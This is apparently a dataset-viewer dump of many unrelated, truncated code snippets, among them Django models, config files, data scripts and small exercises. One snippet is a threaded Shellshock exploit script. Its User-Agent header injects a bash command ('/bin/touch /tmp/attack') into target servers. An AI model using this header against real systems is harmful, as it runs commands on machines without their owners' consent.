text stringlengths 38 1.54M |
|---|
c.fonts.default_family = 'sans-serif'
c.fonts.default_size = '11pt'
c.fonts.completion.entry = 'default_size monospace'
c.fonts.completion.category = 'bold default_size monospace'
c.fonts.statusbar = 'default_size monospace'
c.fonts.tabs.selected = 'bold default_size default_family'
c.fonts.web.size.default_fixed = c... |
import os
import logging
os.environ.setdefault("DJANGO_SETTINGS_MODULE", os.getenv("DJANGO_SETTINGS_MODULE", "stock_exchange.settings"))
import django
django.setup()
logger = logging.getLogger(__name__)
from django.contrib.auth import get_user_model
from django.utils import timezone
from stock_exchange.apps.company... |
__author__ = "Reinaldo Penno"
__copyright__ = "Copyright(c) 2014, Cisco Systems, Inc."
__license__ = "New-style BSD"
__version__ = "0.1"
__email__ = "repenno@cisco.com"
__status__ = "alpha"
import requests
import time
class Timer(object):
def __init__(self, verbose=False):
self.verbose = verbose
def... |
import sys
import argparse
from vgg_coco import *
if __name__ =="__main__":
parser = argparse.ArgumentParser()
parser.add_argument('json_format', default="via", help='Specify the format of original json file: via or coco; Defalut: via')
parser.add_argument('images_dir', help='Specify a path to the images D... |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.6 on 2017-11-26 12:05
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = []
operations = [
migrations.CreateModel(
name='chatSession... |
def main():
p = "abcdefghijklmnopqrstuvwxyz"
for _ in range(int(input())):
s = input()
a = [abs(p.find(s[i])-p.find(s[i+1])) for i in range(len(s)-1)]
s = s[::-1]
b = [abs(p.find(s[i])-p.find(s[i+1])) for i in range(len(s)-1)]
ok = True
for i in range(len(... |
# -*- coding: utf-8 -*-
"""
Created on Fri Aug 14 08:33:12 2020
@author: User
"""
import numpy as np
import math
import csv
import matplotlib.pyplot as plt
# Deg/sec
VELOCITY = np.rad2deg(0.2)
TIME_SPAN = 15
LIDAR_FEQ = 10
RADAR_FEQ = 20
LIDAR_UNCERTAINLY = 0.02
RADAR_ACCURACY_RANGE = 0.25
RAD... |
a=[5, 8, 7, 4]
b=[2, 1, 3]
i=len(a)-1
j=len(b)-1
ans=[]
c=0
d=0
while i>=0 and j>=0:
ap=a[i]+b[j]+c
c=ap//10
d=ap%10
ans.append(d)
i-=1
j-=1
while j>=0:
ap=b[j]+c
c=ap//10
d=ap%10
ans.append(d)
j-=1
while i>=0 :
ap=a[i]+c
c=ap//10
d=ap%10
... |
import configparser
# CONFIG
config = configparser.ConfigParser()
config.read('dwh.cfg')
# DROP TABLES
staging_events_table_drop = "DROP TABLE IF EXISTS staging_events"
staging_songs_table_drop = "DROP TABLE IF EXISTS staging_songs"
songplay_table_drop = "DROP TABLE IF EXISTS songplays"
user_table_drop = "DROP TABL... |
# Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
from django.db import models
import re
# Create your models here.
EMAIL_REGEX = re.compile(r'^[a-zA-Z0-9.+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]+$')
class UserManager(models.Manager):
def validator(self, postData):
errors = {}
if len(postData['first_name']) < 2:
errors['first_name'] = 'First na... |
def bewege(n, von, nach, ueber):
if (n == 1):
print('Lege eine Scheibe von', von, 'nach', nach, '.')
else:
bewege(n - 1, von, ueber, nach)
bewege(1, von, nach, ueber)
bewege(n - 1, ueber, nach, von)
bewege(10, 1, 3, 2)
|
from __future__ import print_function
from __future__ import division
from .conftest import mock
from ..utils import get_most_recent_run
@mock.patch('civiscompute.utils.civis.APIClient')
def test_get_most_recent_run(client_mock):
client_mock.return_value.scripts.list_containers_runs.return_value = [
{'f... |
"""
๊ฒฝ์์ ์ ์ผ ๋ฌธ์
author : donghak park
contact : donghark03@naver.com
"""
N, K = map(int, input().split())
arr = []
for _ in range(N):
arr.append(list(map(int, input().split())))
S, X, Y = map(int, input().split())
time = 0
dx = [1,-1,0,0]
dy = [0,0,1,-1]
Q = []
for i in range(N):
for j in range(N):
if... |
#!/usr/bin/env python
# Description:
#
# Author: OU Yuyuan <ouyuyuan@lasg.iap.ac.cn>
# Created: 2014-11-16 06:59:29 BJT
# Last Change: 2014-12-08 10:56:48 BJT
import os
import sys
def runCmd(cmd):
print(cmd)
stat = os.system(cmd)
if stat != 0:
print("Error happen when run: "+cmd)
sys.exit()
... |
import math
def sum(values):
s = 0
for num in values:
s += num
return s
def mean(values):
s = sum(values)
return s / len(values)
def sort(values):
length = len(values)
for i in range(length):
max_value = values[0]
max_index = 0
for j in range(length - i)... |
#
#
"""
Created on Mon Jun 29 17:30:58 2020 author: Zheming Zhang; building on code from Abbey Chapman/Mary Saunders
Improvements by Onno Bokhove June 2021 (clean-up and allowing verious rivers to be analysed in one Python program)
See: https://github.com/Flood-Excess-Volume
"""
# Imports
import matplotlib.pyplot as p... |
correct = 0
b = {"ark","eke","err","era","bee","rare","reek","bake","bark","bare","beer","beak","bear","baker","brake","break","barker","beaker","bearer","breaker","are","ear","ere","bar","bra","rake","rear"}
answer = input("answer: ")
if answer in b:
correct=correct + 1
answer = input("answer: ")
if answer... |
from data.datasets import FlatDirectoryImageDataset, FoldersDistributedDataset
from data.transforms import get_transform
def make_dataset(cfg):
if cfg.folder:
# raise NotImplementedError
Dataset = FoldersDistributedDataset
else:
Dataset = FlatDirectoryImageDataset
_dataset = Datas... |
t = int(raw_input())
for i in xrange(1, t + 1):
n = int(raw_input())
case_str = "Case #{}: {}"
if n == 0:
print case_str.format(i, "INSOMNIA")
else:
digits = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
k = 0
while digits:
k += n
m = k
while m != 0:... |
#! /usr/bin/env python
# encoding:utf-8
def atoc(string):
flag_index = string.rfind('-')
if flag_index <= 0:
flag_index = string.rfind('+')
if flag_index > 0:
real = float(string[0:flag_index])
imag = float(string[flag_index:-1])
return complex(real,imag)
print atoc('-1.23e+4-5.67j')
|
i = 1
suma = 0
liczba = 0
print(f"""Wpisz kolejnฤ
liczbฤ do obliczenia statystyk - zakoลcz wpisujฤ
c x""")
while True:
liczba = input(f"""Podaj {i}-tฤ
liczbฤ: """)
if liczba == "x":# or type(liczba)!=float or type(liczba)!=int:
liczba = 0
break
else:
liczba = float(liczba)
i... |
"""Time Utilities."""
from __future__ import annotations
__all__ = ('maybe_s_to_ms',)
def maybe_s_to_ms(v: int | float | None) -> int | None:
"""Convert seconds to milliseconds, but return None for None."""
return int(float(v) * 1000.0) if v is not None else v
|
#!/usr/bin/python
#
# This script goes through a particle.bp built up from a backtrack run,
# removes those particles above the free surface, and adjusts the number of particles.
#
# Run folder names expected to adhere to my convention: d-m-y-n_f
# Input: number of days in run (n)
# Output: particle.bp with particles ... |
from adminsortable2.admin import SortableAdminMixin
from django.contrib import admin
from .models import *
# Register your models here.
class PartnersAdmin(SortableAdminMixin, admin.ModelAdmin):
list_display = ('title', 'url')
admin.site.register(Partners, PartnersAdmin)
|
import sys
import math
import random
import dynet as dy
import readData
from collections import defaultdict
import argparse
import numpy as np
import datetime
import nltk
#Config Definition
EMB_SIZE=100
LAYER_DEPTH=1
BATCH_SIZE=16
HIDDEN_SIZE=300
NUM_EPOCHS=20
START=0
UNK=1
STOP=2
GARBAGE=3
MIN_EN_FREQUENCY=5
MIN_DE_F... |
"""
Created on Aug 08, 2020
Implementation of MoCo / MoCo-V2 training and inference
@author: Levan Tsinadze
"""
import torch
from torch import nn
def shuffle_idxs(bsz: int) -> tuple:
"""
Shuffle indices for ShuffleBN in key encoders
Args:
bsz: batch size
Returns:
shfl_idxs: indices f... |
import pyttsx3
import speech_recognition as sr
import datetime
import wikipedia
import webbrowser
import os
import smtplib
import random
import wolframalpha
import sys
from selenium import webdriver
print("Initializing Trick...")
engine = pyttsx3.init('sapi5')
client = wolframalpha.Client('Your_App_ID')
... |
"""Script to compare different methods to extract profiles:
calc flux
AG, April 9, 2013
AG, April 25, 2013
AG, Jan 11, 2016
AG, Sept 2016"""
#lt = 10
import numpy as np
import matplotlib.pyplot as plt
import mcdiff
from mcdiff.outreading import read_F_D_edges, read_Drad
from mcdiff.utils import construct_rate_matrix_... |
from app import app
if __name__ == '__main__':
app.run(port=8000,debug=True, ssl_context="adhoc")
|
๏ปฟ#!/usr/local/bin/python2.7
import urllib2
import threading
import time
def httpconn(url):
request = urllib2.Request(url)
request.add_header('User-Agent', '() { :;}; /bin/bash -c \x22/bin/touch /tmp/attack\x22')
content_stream = urllib2.urlopen(request)
time.sleep(2)
content = content_stream.... |
from django.db import models
class Ludzie(models.Model):
name = models.CharField(max_length=30)
|
import math
print("Enter first latitude: ")
t1 = math.radians(float(input()))
print("Enter first longitude: ")
g1 = math.radians(float(input()))
print("Enter second latitude: ")
t2 = math.radians(float(input()))
print("Enter second longitude: ")
g2 = math.radians(float(input()))
distance = 6371.01 * math.acos(math.si... |
# 6.1.2.9 A short journey from procedural to object approach
class Stack:
def __init__(self):
self.__stackList = []
def push(self, val):
self.__stackList.append(val)
def pop(self):
val = self.__stackList[-1]
del self.__stackList[-1]
return val
littleStack = Stack(... |
import math
def prime(n):
if n == 1:
return 0
if n == 2 or n == 3:
return 1
for j in range(2, int(math.sqrt(n)) + 1):
if n % j == 0:
return 0
return 1
t = int(input())
for _ in range(t):
n = int(input())
i = n / 2
while i > 1:
if prime(i) == 1 ... |
""" Multiplication Table"""
num = int(input("enter a number: "))
for x in range(1,11):
v = num*x
print(f"{num} x {x} = {v}") |
import telegram_dialog as td
from emoji import emojize
MAKE_YOUR_CHOICE_CAPTION = 'ะกะดะตะปะฐะนัะต ะะฐั ะฒัะฑะพั'
BACK_BUTTON_CONTENT = emojize(':back:', use_aliases=True)
BACK = -1
def text_question(question, validators=None, show_back_button=False):
validators = validators or []
error = None
while True:
q... |
list_name=[1,2,3,4,5,1,2]
i=0
sum=0
while i<len(list_name):
sum=sum+list_name[i]
i=i+1
print(sum)
|
from typing_extensions import Literal
implementation: str
null: Literal[b""]
def from_bytes(octets, signed: bool = False): ...
def to_bytes(value, signed: bool = False, length: int = 0): ...
def bitLength(number): ...
|
from flask import Flask, render_template, jsonify, redirect
import pymongo
from scrapemongo import mongo
app = Flask(__name__, static_url_path='/static')
# setup mongo connection
conn = "mongodb://localhost:27017"
client = pymongo.MongoClient(conn)
# connect to mongo db and collection
db = client.mars_db
... |
#!/usr/bin/python3
# A python Banner printer
# Developed by Elieroc
# Start of project : 27/01/2021
# Actual version : 1.0
import time
# Banniรจre principale
def banner():
banner = open('Banner/banner.txt', "r")
banner_lines = banner.readlines()
banner.close()
for banner_line in banner_lines:
... |
import os
import trimesh
import numpy as np
from matplotlib import pyplot as plt
path = os.getcwd() + '/kit/'
file_list = os.listdir(path)
name_list = []
for file_name in file_list:
name = file_name.replace(".obj","")
trimesh_data = trimesh.load(path + name + '.obj')
if np.min(trimesh_data.bounds[1] - trim... |
import sys
import socket
import argparse
import hashlib
import time
import os
BUFSIZE = 1024
print "number of arguments:", len(sys.argv), "arguments."
def server(port, verbose):
allData = ""
#create a socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('localhost', port)
if verbos... |
import time
import io
import serial
ser = serial.Serial('/dev/ttyACM0', timeout=1, baudrate=115200)
sio = io.TextIOWrapper(io.BufferedRWPair(ser, ser))
print('Ohjelma ohjaa lednauhan vรคriรค. Anna haluamasi vรคri.')
try:
while True:
answer = input('r = red , g = green, b = blue, a = animation\n')
if ... |
import button
class Tab():
'''
a Holder for the individual buttons on the picker
'''
def __init__(self, title, bgimage):
self._title = title
self._buttons = []
self._bgimage = bgimage
#print 'making a new tab called %s' % (self._title)
def __str__(self):
f... |
from com.vmware.nsx_client import LogicalRouters
from com.vmware.nsx_client import LogicalSwitches
from vmware.vapi.bindings.struct import PrettyPrinter
from api_connector import create_api_connection
def main():
connection = create_api_connection()
# logicalswitches_svc = LogicalSwitches(connection)
# ... |
# This program will determin the cost and amount of paint needed for a room (6)
def display_results(total_area, gallon, cost):
print(str("size of your room in square Ft is: ") +
str(total_area) + str(" Square Ft"))
print(gallon)
print(cost)
def get_length():
print("length of room ... |
curso="Curso fundamentos de programaciรณn"
print(len(curso))
print(curso.upper())
numero="12"
print(int(numero)+8)
|
import os
import requests
import colorama
print("""
000000000 444444444 555555555555555555
00:::::::::00 4::::::::4 5::::::::::::::::5
00:::::::::::::00 4::::... |
#!/usr/bin/python
# Ben Pedrick
# resources.py
# Gives the status of resources needed
# Import Useful Modules
import sys, os
sys.path.append(os.path.abspath('../../'))
import GeoUtils
BASE_URL = GeoUtils.constants.BASE_URL
def defaultView(dummy, dummy2):
output = ''
output += '<h2>Oops! We forgot what we were loo... |
# Time Complexity : O(n)
# Space Complexity :O(1)
# Did this code successfully run on Leetcode : Yes
# Any problem you faced while coding this : No
# Your code here along with comments explaining your approach
class Node:
def __init__(self,x):
self.val = x
self.next = None
class Solution:
de... |
import numpy as np
def whittaker_shannon_interpolation(x: np.ndarray,
xp: np.ndarray,
fp: np.ndarray) -> np.ndarray:
"""
Function uses the Whittaker-Shannon interpolation to reconstruct
signal at requested instance according to sampli... |
class Solution:
def reverse(self, x: int) -> int:
y = list(str(x))[::-1]
if len(y) == 1:
return int(''.join(y))
if y[-1] == '-':
to_insert = y.pop()
y.insert(0, to_insert)
elif y[0] == '0':
y.pop(0)
y = int(''.join(y))
i... |
import cv2 as cv
img = cv.imread('Photos/group 2.jpg')
gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)
# cv.imshow('Lady', gray)
haar_cascade = cv.CascadeClassifier('haar_face.xml')
face_rect = haar_cascade.detectMultiScale(gray, scaleFactor=1.1, minNeighbors=5)
print(f'No of faces: {len(face_rect)}')
for (x,y,w,h)... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Nov 15 05:37:13 2017
@author: lyn
"""
import abc
import pandas as pd
import implied_vol_model.sabr
import implied_vol_model_calib.sabr_calib
import implied_vol_model.svi
import implied_vol_model_calib.svi_calib
class ParamModel():
SABR='sabr'
... |
from .Indicator import *
from .. config import *
class GoodIndicator(Indicator):
def __init__(self, structuralParams, timingParams):
super().__init__(structuralParams, timingParams)
def SingleStep(self, stepId):
super().SingleStep(stepId)
for gstream_name, gstream_key in self.gstream... |
"""
Class use to connect to the FPA's load cell and query the mass
Uses the Mettler Toledo Standard Interface Command Set (MT-SICS)
"""
import socket
import time
import numpy as np
import re
class MettlerToledoDevice(object):
"""
Creates a MettlerToledoDevice class which can be used to query the weight from ... |
import tensorflow as tf
import numpy as np
import csv
import os
import requests
import xml.etree.ElementTree as elemTree
import datetime
from datetime import datetime as dt
import time
road_directory_name = 'inputs' # ๋จธ์ ๋ฌ๋ ํ์ต์ ์ฌ์ฉ๋๋ 2018๋
๊ตํต ์์ ์๊ฐ ๋ฐ์ดํฐ๋ค์ด ์ ์ฅ๋์ด ์๋ ํด๋
model_directory_name = 'models' # ๋จธ์ ๋ฌ๋ ํ์ต์... |
from django.shortcuts import render, redirect, HttpResponse
from .models import User, Message, Comment
# Create your views here.
def index(request):
return render(request, 'wallerd/index.html')
def show(request):
context = {'messages': Message.objects.all()}
return render(request, 'wallerd/results.html', c... |
# ActivitySim
# See full license in LICENSE.txt.
import logging
import os
import warnings
import pandas as pd
from activitysim.abm.tables import shadow_pricing, disaggregate_accessibility
from activitysim.core import chunk, config, expressions, inject, mem, pipeline, tracing
from activitysim.core.steps.output import ... |
from user import User, Role
from friendship import Friendship
from article import Article
from share import Share
__all__ = [
'User',
'Friendship',
'Article',
'Share',
'Role'
]
|
from systems.models.index import Model
class Course(Model('course')):
def __str__(self):
return "{} ({})".format(self.name, self.course_code)
|
#!/usr/bin/python3.5
# Speech API implementation
# (c) Mohammad Mofrad, 2018
# (e) mohammad.hmofrad@pitt.edu
import speech_recognition as sr
from subprocess import call
from time import sleep
import os
PYTHON_VER = 'python3.5'
script = '/home/pi/viota/player.py'
device = 'mplayer'
keywords = ['play', 'start', 'sto... |
#!/usr/bin/env python3
import argparse
import math
import re
def isValid(index: int, mask: int) -> bool:
if index < 0 or index > 7:
return False
if mask != (1 << int(math.log2(mask))):
return False
return True
def getFlagMacro(index: int, mask: int) -> str:
return f"EVENTINF_{index}{i... |
'''
ํํ ๋ช๊ฐ๊ธฐ ์ ์ ์ธํ๊ณค ๋ฆฌ์คํธ์ ๊ฑฐ์ ๋น์ท
์ฐจ์ด์ฒจ
๋ฆฌ์คํธ๋ [ ] ํํ ( )
๋ฆฌ์คํธ๋ ๊ทธ ๊ฐ์ ์์ฑ, ์ญ์ , ์์ ๊ฐ๋ฅ
ํํ์ ๊ทธ ๊ฐ ๋ฐ๊ฟ ์ ์์!!!
'''
t1 = ()
t2 = (1,) # 1๊ฐ์ ์์๋ง ๊ฐ์ง ๋ ์์ ๋ค ๋ฐ๋์ , ์ฝค๋ง ๋ถ์ฌ์ผํจ
t3 = (1, 2, 3)
t4 = 1, 2, 3 # ๊ดํธ () ์๋ตํด๋ ๋ฌด๋ฐฉ
t5 = ('a','b', ('ab', 'cd'))
''' ํํ ์์๊ฐ ์ญ์ ๋ฐ ๋ณ๊ฒฝ '''
t6 = (1, 2, 'a', 'b')
# del t6[0] # ์ค๋ฅ TypeError: '... |
"""
Use PWM to fade an LED up and down using the potentiometer value as the duty cycle.
REQUIRED HARDWARE:
* potentiometer on pin GP26.
* LED on pin GP14.
"""
import board
import analogio
import pwmio
import time
potentiometer = analogio.AnalogIn(board.GP26)
led = pwmio.PWMOut(board.GP14, frequency=1000)
while True:... |
#!/usr/bin/env python
import unittest
import numpy
import ctf
import os
import sys
def allclose(a, b):
return abs(ctf.to_nparray(a) - ctf.to_nparray(b)).sum() < 1e-14
class KnowValues(unittest.TestCase):
def test_einsum_hadamard(self):
n = 11
a1 = ctf.tensor((n,n,n), sp=1)
b1 = ctf.t... |
from django.db import models
from imagekit.models import ImageSpecField
from imagekit.processors import ResizeToFill
from articles.models import Category
SECTIONS = (
('1', 'homepage'),
)
class HeaderAdImage(models.Model):
image = models.ImageField(
upload_to='ads')
image_web = Imag... |
$NetBSD: patch-src_bootstrap_bootstrap.py,v 1.8 2021/11/20 16:09:46 he Exp $
Use `uname -p` on NetBSD, as that is reliable and sensible there.
Do not use debuginfo; optimize 'bootstrap' instead.
Handle earmv7hf for NetBSD.
--- src/bootstrap/bootstrap.py.orig 2021-02-10 17:36:44.000000000 +0000
+++ src/bootstrap/boots... |
import numpy as np
from Attributes import *
class Particle:
def __init__(self, color, shape, symbol):
self.color = color
self.shape = shape
self.symbol = symbol
def __str__(self):
return "(%s,%s,%s)" % (Color.MAP[self.color], Shape.MAP[self.shape], Symbol.M... |
import cv2
import numpy as np
from matplotlib import pyplot as plt
from PIL import Image,ImageEnhance,ImageFilter
img_name = '/Users/lvyufeng/Documents/captcha_train_set/type1_train/type1_train_1.jpg'
#ๅป้คๅนฒๆฐ็บฟ
imgname = '/Users/lvyufeng/Documents/captcha_train_set/type1_train/type1_train_1.jpg'
im = Image.open(img_name)... |
import glob
import os
import coloredlogs, logging
import pickle
import matplotlib.pyplot as plt
import pandas as pd
import ipdb
coloredlogs.install()
plt.rcParams['font.family']='Times New Roman'
plt.rcParams['font.size']= 12
if __name__ == '__main__':
logger = logging.getLogger("plot_anomalous_signals.main")
... |
import time
import commands as cmd
import speak
def stopListening():
speak.speak('For how long?')
query = cmd.takeCommand()
if 'minutes' in query:
ans = int(query.replace('minutes', ''))
speak.speak(f'Going sleeping for {ans} minutes')
time.sleep(ans*60)
elif 'minute' in quer... |
from threading import Thread
from TwitterAPI import TwitterAPI
NUMBER_OF_TWEETS_TO_DELETE = 1
api = TwitterAPI(<consumer key>,
<consumer secret>,
<access token key>,
<access token secret>)
class DeleteTweet(Thread):
def __init__(self, tweet_id, count):
... |
import cv2
face_cascade = cv2.CascadeClassifier("cascade/data/haarcascade_frontalface_alt2.xml")
cap = cv2.VideoCapture(0)
while (True):
#Capturar frame por frame
ret,frame = cap.read()
#Poniendo el frame a escala a grises
gray = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)
#detectando rostro
face... |
def main():
n = int(input("number: "))
meow(n)
def meow(n):
for i in range(n):
print("meow")
main() |
import socket
import json
import os
import sqlite3
def get_basename(path):
return os.path.splitext(os.path.basename(path))[0]
def record_is_exist(name):
cursor.execute('select count(*) from menu where name=?', (name,))
return True if 0 != cursor.fetchone()[0] else False
def handle_client(client_socket):
... |
#!/usr/bin/env python
"""
Reducer aggregates word counts by class and emits frequencies.
INPUT:
partitionKey \t word \t ham_count \t spam_count
OUTPUT:
word \t ham_count,spam_count,ham conditional probability,spam conditional probability
Instructions:
Again, you are free to design a solution however ... |
def dano(atk,lvl,move,deff):
ran=random.randrange(85,100)
x=1 #modificador(super efetivo)
damage=((((2*lvl/5)+2)*move*(atk/deff)/50)+2)*(ran/100)*(x)
return damage
#teste
|
from django.contrib import admin
from .models import Item, OrderItem, Order, Address, Payment, Coupon
class OrderItemAdmin(admin.ModelAdmin):
list_display = ('__str__', 'item', 'quantity', 'ordered')
search_fields = ['item__title']
def accept_refund(modeladmin, request, queryset):
queryset.update(refun... |
player1=raw_input("enter the name of the player1")
player2=raw_input("enter the name of the player2")
y=True
while(y):
option1 = raw_input("hey %s what do u want to play" % ("player1"))
option2 = raw_input("hey %s what do u want to play" % ("player2"))
if option1==option2:
"its a tie"
elif op... |
#l=[1,2,3,4,5]
l={'one':1,'two':2}
for i in l:
print (i,l[i])
p =(1,2,3,4)
for i in p:
print(i)
for i in p:
print(i)
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Mar 10 17:45:30 2021
@author: marina
"""
# Set absolute package path
import sys, os
sys.path.insert(0, '../network/')
sys.path.append(os.path.abspath(".."))
import yaml
import torch
import copy
import matplotlib.pyplot as plt
import random
import nump... |
# -*- coding: utf-8 -*-
import codecs
import array
import pandas as pd
import numpy as np
import os
from lsq_curve_fit import pres_strain_fit, pres_vol_fit
from Config import parameters as pm
def find_exist_niter(file_data_sample):
import pandas as pd
samples = pd.read_excel(file_data_sample,header=None)
... |
from plone.app.layout.viewlets.content import ContentHistoryViewlet
from plone.app.layout.viewlets.content import WorkflowHistoryViewlet
from plone.app.layout.viewlets.tests.base import ViewletsFunctionalTestCase
from plone.app.testing import login
from plone.app.testing import logout
from plone.app.testing import setR... |
#!/usr/bin/env python
# -*- coding:utf-8 _*-
"""
@author: wangye(Wayne)
@license: Apache Licence
@file: Design an Ordered Stream.py
@time: 2020/11/15
@contact: wang121ye@hotmail.com
@site:
@software: PyCharm
# code is far away from bugs.
"""
class OrderedStream:
def __init__(self, n: int):
self... |
# -*- coding:utf-8 -*-
class ListNode:
def __init__(self, x):
self.val = x
self.next = None
class Solution:
def deleteDuplication(self, pHead):
# write code here
p = None
q = pHead
while q != None and q.next != None:
if q.val == q.next.val:
... |
__author__ = 'richard'
from schema import AuPair
from sqlalchemy.orm import sessionmaker
from sqlalchemy import create_engine
import requests
from aupair_world import login_page
from creds import creds
if __name__ == "__main__":
engine = create_engine('sqlite:///aupairs.db')
Session = sessi... |
import os
# maybe for this workflow don't copy to bristol and just work on lxbatch???
# TO RUN
# $ python ~/l1t-macros/copyFromEOS.py
#######################################################################
#######################################################################
#######################################... |
def construct_user_agent(class_name):
from client_sdk_python import __version__ as web3_version
user_agent = 'Web3.py/{version}/{class_name}'.format(
version=web3_version,
class_name=class_name,
)
return user_agent
|
import numpy as np
class Ocs:
def __init__(self):
self.L_MAX = 1000
self.N_MAX = 100
self.L_STEP = self.L_MAX // self.N_MAX
self.L_BEG_STEP = self.L_STEP * 1
self.BUF_SIZE = 5;
self.t = -(2 * self.BUF_SIZE)
self.p, self.pa, self.pm = 0, 0, 0
self.v,... |
""" Manager of messages """
import uuid
from typing import List, Optional
from iot_server.model.message import MessageDBO
def get_all_messages() -> List[MessageDBO]:
"""Get all messages from database."""
return list(MessageDBO.objects())
def get_by_name(message_id: uuid.UUID) -> Optional[MessageDBO]:
"... |
from pymote.logger import logger
from numpy import sqrt, pi, sin, cos
from numpy.random import rand
Mobility_Type = {0: "Fixed", 1: "Mobile-Uniform Velocity", 2: "Mobile-Uniform Velocity-Random Heading",
3: "Mobile-Random"}
MAX_VELOCITY = 50 # m/s
class MobilityModel(object):
# Velocity
VE... |
from flask import Blueprint, render_template
routes = Blueprint('routes', __name__)
@routes.route('/<path:filename>')
def index(filename):
return render_template(filename)
|
"""
[Homework]
Date: 2021-02-07
1. Try out label widget
Description:
create a window based on previous homework
set icon, title, dimension, maxsize, minsize, bg and any other options for the window as much as you know
create at least 2 text Labels
set dimension, font, fg, bg, font and any other options you know.
create... |
import sqlite3
# sqlite3 connection. This uses a file called data.db to store the database
connection = sqlite3.connect('data.db')
# Cursor to interact with db
cursor = connection.cursor()
# Creating and executing query
create_table = "CREATE TABLE users (id int, username text, password text)"
cursor.execute(create_... |
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import yfinance as yf
import yahoofinancials as yahoof
import datetime as date
#Using yahoofinancials
today = date.datetime.today()
# Get the data for the stock Tesla by specifying the stock ticker, start date, and end date
yahoo_financials = yaho... |
import os
import sys
ROOT_DIR = getattr(sys, '_MEIPASS', os.path.abspath(os.path.dirname(__file__)))
# images
BG = os.path.abspath(os.path.join(ROOT_DIR, "images/bg.png"))
ROOM_BG = os.path.abspath(os.path.join(ROOT_DIR, "images/room_bg.png"))
START_MENU_CAPTION_BG = os.path.abspath(os.path.join(ROOT_DIR, "images/sta... |
import time
from framework.page_objects.wrapper import SeleniumWrapper
from selenium.webdriver.common.by import By
from framework.utils.element_locator import ElementLocator as el
from selenium.common.exceptions import NoSuchElementException
import re
from allure_commons._allure import step
class ProjectWorkPackages... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'zhwei'
import json
from django.views import generic
from django.http import HttpResponse, HttpResponseRedirect
from django.template import RequestContext
from django.core.urlresolvers import reverse_lazy, reverse
from django.shortcuts import render_to_respon... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.